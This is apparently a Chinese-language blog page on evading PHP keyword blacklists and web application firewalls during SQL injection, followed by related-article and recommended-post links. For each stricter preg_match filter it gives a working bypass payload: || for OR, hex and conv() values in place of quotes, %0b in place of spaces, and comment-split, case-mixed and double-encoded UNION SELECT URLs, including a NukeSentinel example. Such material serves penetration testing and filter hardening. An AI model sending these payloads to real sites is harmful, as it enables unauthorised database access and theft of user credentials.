黑名单关键字过滤与绕过


过滤关键字and、or

PHP匹配函数代码如下:

preg_match('/(and|or)/i', $id)

如何Bypass,过滤注入测试语句:

1 or 1 = 1                1 and 1 = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1                 1 && 1 = 1

过滤关键字and, or, union

PHP匹配函数代码如下:

preg_match('/(and|or|union)/i', $id)

如何Bypass,过滤注入测试语句:

union select user, password from users

测试方法可以替换为如下语句测试:

1 || (select user from users where user_id = 1) = 'admin'

过滤关键字and, or, union,where

PHP匹配函数代码如下:

preg_match('/(and|or|union|where)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users where user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users limit 1) = 'admin'

过滤关键字and, or, union,where,limit

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users limit 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by,select

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 into outfile 'result.txt'

1 || substr(user,1,1) = 'a'

过滤关键字and, or, union,where,limit,group by,select,'

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || user_id is not null

1 || substr(user,1,1) = 0x61

1 || substr(user,1,1) = unhex(61)

过滤关键字and, or, union,where,limit,group by,select,',hex

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = unhex(61)

测试方法可以替换为如下语句测试:

1 || substr(user,1,1) = lower(conv(11,10,36))

过滤关键字and, or, union,where,limit,group by,select,',hex,substr

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = lower(conv(11,10,36))

测试方法可以替换为如下语句测试:

1 || lpad(user,7,1)

过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

如何Bypass,过滤注入测试语句:

1 || lpad(user,7,1)

测试方法可以替换为如下语句测试:

1%0b||%0blpad(user,7,1)

部分WAF绕过技巧


1、绕过部分WAF

/news.php?id=1+un/**/ion+se/\**/lect+1,2,3--

2、匹配正则如下:

/union\sselect/g

绕过方式:

/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

3、过滤一次关键字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

4、关键字被过滤,有的时候可以用%0b插入关键字绕过

/news.php?id=1+uni%0bon+se%0blect+1,2,3--

5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

替换前:

/main/news/id/1//||//lpad(first_name,7,1).html

替换后:

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试

/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

真实的例子


NukeSentinel

Nukesentinel.php的代码如下:

针对上面的防护,使用如下测试语句将被拦截:

/php-nuke/?/**/union/**/select…

可以使用如下语句代替:

/php-nuke/?/%2A%2A/union/%2A%2A/select…

/php-nuke/?%2f**%2funion%2f**%2fselect…

17. PHP+Mysql注入防护与绕过的更多相关文章

  1. PHP+Mysql注入防护与绕过

    今天给大家分享一个关于php常见的注入防护以及如何bypass的文章,文章内容来源国外某大佬总结,我做了一下整理,文章来源地址不详,下面正文开始.以下的方式也仅仅是针对黑名单的过滤有一定的效果,为了安 ...

  2. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  3. 对MYSQL注入相关内容及部分Trick的归类小结

    前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...

  4. [转载] MySQL 注入攻击与防御

    MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0     作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...

  5. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  6. 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)

    原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...

  7. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  8. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  9. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

随机推荐

  1. 通过elasticsearch对日志进行搜索热词统计

    通过logstash搜集日志 这里搜集日志可以使用ELK的一个插件filebeat对日志进行处理,并传输到后端的程序 在这里有一个不好的地方, 如果想要直接使用filebeat将日志发送到elasti ...

  2. java:Maven构建项目速度太慢的解决办法,以及报错Retrieving archetypes:' has encountered a problem

    如果报错信息如下: Retrieving archetypes:' has encountered a problemAn internal error occurred during:"R ...

  3. MySQL 当记录不存在时insert,当记录存在时update

    MySQL当记录不存在时insert,当记录存在时更新:网上基本有三种解决方法 第一种: 示例一:insert多条记录 假设有一个主键为 client_id 的 clients 表,可以使用下面的语句 ...

  4. 51nod1428 活动安排问题 (贪心加暴力)

    1428 活动安排问题 基准时间限制:1 秒 空间限制:131072 KB 分值: 10 难度:2级算法题  收藏  关注 有若干个活动,第i个开始时间和结束时间是[Si,fi),同一个教室安排的活动 ...

  5. 使用 nginx 和 rtmp 插件搭建视频直播和点播服务器

    使用 nginx 和 rtmp 模块 ,可以很容易地搭建一个视频直播和点播服务器出来. 首先,看一下最经典的参考文献: How to set up your own private RTMP serv ...

  6. 【整理】如何选取后缀数组&&后缀自动机

    后缀家族已知成员         后缀树         后缀数组         后缀自动机         后缀仙人掌         后缀预言         后缀Splay ? 后缀树是后缀数 ...

  7. 2017-2018-1 20179215《Linux内核原理与分析》第七周作业

    一.实验部分:分析Linux内核创建一个新进程的过程. [第一部分] 根据要求完成第一部分,步骤如下: 1. 首先进入虚拟机,打开终端,这命令行依次敲入以下命令: cd LinuxKernel    ...

  8. 【C/C++】assert

    摘自http://www.cplusplus.com assert : macro #include <assert.h> void assert (int expression); 如果 ...

  9. 【Sublime Text 3】编译环境

    1.默认编译时总会出现错误 报错: [Finished in 1.3s with exit code 1][cmd: ['gcc', 'V:\\Cynthia\\01.c']][dir: V:\Cyn ...

  10. Linux 下网卡参数配置

    目录 Linux 下网卡参数配置 第一种:修改 interfaces 文件 网卡配置实例 回环参数配置 DHCP方式配置 静态 IP 地址分配 无线网卡配置 March 17, 2015 7:48 P ...